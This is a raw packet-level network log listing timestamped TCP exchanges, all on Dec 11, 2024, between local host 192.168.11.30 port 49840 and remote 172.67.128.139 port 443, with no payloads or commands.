Dec 11, 2024 12:16:08.296139956 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.296144009 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.296163082 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.296185970 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.296366930 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.296457052 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.296477079 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.296690941 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.296905994 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.296921015 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.296977043 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.296994925 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.297136068 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.297265053 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.297282934 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.297342062 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.297508955 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.297815084 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.297828913 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.297946930 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.297981977 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.298090935 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.298101902 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.298154116 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.298237085 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.298289061 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.298373938 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.298383951 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.298702955 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.309371948 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.309392929 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.309568882 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.309649944 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.309704065 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.309721947 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.309823036 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.310085058 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.310094118 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.310103893 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.310112000 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.310184956 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.310267925 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.310551882 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.310570955 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.310619116 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.310635090 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.310774088 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.310970068 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.311094999 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.311114073 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.311305046 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.311391115 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.311463118 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.311481953 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.311506033 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.311541080 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.311675072 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.311693907 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.311758995 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.311773062 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.311919928 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.311939955 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.312005043 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.312122107 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.312180996 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.312314987 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.312375069 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.312483072 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.312496901 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.312551022 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.312551022 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.312694073 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.312983990 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.312999010 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.313136101 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.313152075 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.313270092 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.313338995 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.313342094 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.313349962 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.313507080 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.313507080 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.313766956 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.313776016 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.313821077 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.313846111 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.313926935 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.314160109 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.314167976 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.314241886 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.314256907 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.314313889 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.314323902 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.314523935 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.314757109 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.322237968 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.322257996 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.322386980 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.322451115 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.322485924 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.322504997 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.322583914 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.322690964 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.322786093 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.322794914 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.322807074 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.322813988 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.322930098 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.323174953 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.323359013 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.323374987 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.323542118 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.323654890 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.323669910 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.324054003 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.324276924 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.324290991 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.324462891 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.324517965 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.324527025 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.324641943 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.324656010 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.324846029 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.324855089 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.324989080 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.325297117 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.325314045 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.325440884 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.325449944 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.325479984 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.325557947 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.325630903 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.325640917 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.325649023 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.325665951 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.325778961 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.325787067 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.325865984 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.326003075 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.326277971 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.326292992 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.326436043 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.326461077 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.326627016 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.326637030 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.326653957 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.326694965 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.326809883 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.326997042 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.327003002 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.327255011 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.327306032 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.327321053 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.327498913 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.327500105 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.327508926 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.327545881 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.327888012 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.497730017 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.497750044 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.497884035 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.497942924 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.497961044 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.498024940 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.498091936 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.498114109 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.498142958 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.498153925 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.498281956 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.498347998 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.498363018 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.498367071 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.498454094 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.498472929 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.498585939 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.498605967 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.498687983 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.498706102 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.498774052 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.499031067 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.499092102 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.499105930 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.499277115 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.499423027 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.499435902 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.499502897 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.499844074 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.499857903 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.499907017 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.499917030 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.499970913 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.500036001 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.500119925 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.500134945 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.500287056 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.500372887 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.500422001 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.500437021 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.500560999 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.500741959 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.500747919 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.500819921 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.500895977 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.500911951 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.501032114 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.501041889 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.501101971 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.501197100 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.501280069 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.501310110 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.501317978 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.501411915 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.501516104 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.501677990 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.501888990 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.501904011 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.502074957 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.502141953 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.502151966 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.502197981 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.502315998 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.502340078 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.502351046 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.502427101 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.502434969 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.502662897 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.503016949 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.503031969 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.503180027 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.503328085 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.503338099 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.521701097 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.521723032 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.521789074 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.521871090 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.521891117 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.521954060 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.522166967 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.522190094 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.522222042 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.522232056 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.522243977 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.522401094 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.522663116 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.522667885 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.522680998 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.522861004 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.522862911 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.522875071 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.522948980 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.522968054 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.523096085 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.523178101 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.523273945 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.523374081 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.523390055 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.523593903 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.523619890 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.523629904 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.523688078 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.523793936 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.523894072 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.523895979 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.523905039 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.524064064 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.524189949 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.524357080 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.524373055 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.524522066 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.524545908 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.524688959 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.524707079 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.524924040 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.525249958 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.525264978 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.525427103 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.525506973 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.525628090 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.525712013 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.525744915 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.525763988 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.525974035 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.525990963 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.526125908 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.526145935 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.526174068 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.526258945 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.526334047 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.526345015 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.526499033 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.526527882 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.526627064 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.526632071 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.526737928 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.526844978 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.541158915 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.541178942 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.541310072 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.541323900 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.541393995 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.541412115 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.541471958 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.541625977 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.541663885 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.541675091 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.541794062 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.541796923 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.541812897 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.542112112 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.542130947 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.542284966 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.542299986 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.542526960 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.542535067 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.542545080 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.542838097 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.542851925 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.542882919 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.542896986 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.543356895 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.543468952 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.543484926 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.543689966 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.543709040 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.543713093 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.543731928 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.543832064 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.544030905 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.544099092 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.544116974 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.544289112 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.544466019 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.544506073 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.544524908 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.544855118 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.545319080 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.545334101 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.545510054 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.545566082 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.545680046 CET	443	49840	172.67.128.139	192.168.11.30
